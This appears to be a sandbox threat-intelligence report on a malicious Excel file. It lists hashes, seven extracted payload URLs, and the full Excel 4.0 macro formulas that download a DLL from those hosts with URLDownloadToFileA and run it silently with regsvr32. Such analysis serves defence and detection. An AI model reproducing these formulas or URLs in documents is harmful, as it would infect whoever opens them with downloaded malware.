General
-
Target
afbc18df11d532b9cfe5c8f3447220ac1322292c71e0082a02989a70185682fa
-
Size
73KB
-
MD5
be482bea9c4b92f5d7ee774159a542e5
-
SHA1
3e68d21af1470395d6aafed716cb1a6450798b70
-
SHA256
afbc18df11d532b9cfe5c8f3447220ac1322292c71e0082a02989a70185682fa
-
SHA512
0da5255fae96af337aac104b19c27a77672a2b1b86d65ce48f9332fdba62dfe9bf339a543d4ce0a8a8029c125fa1f7abc9bbcb32b4c4e171eac57fb257449123
-
SSDEEP
1536:8+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:8+1kiCtzSmICpH7OZuvZGsMe0/
Malware Config
Extracted
https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/
http://almoiz.com/urdu/LDlbo5gc4c/
http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/
http://avrworks.com/mail/tGJconiBvy59a81/
http://asave.com.mx/cgi-bin/CUa/
https://aquinoabogados.com.ar/newsletter/tx9KBb2j/
http://avcservices-tt.com/EANAPI/hswSV1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
afbc18df11d532b9cfe5c8f3447220ac1322292c71e0082a02989a70185682fa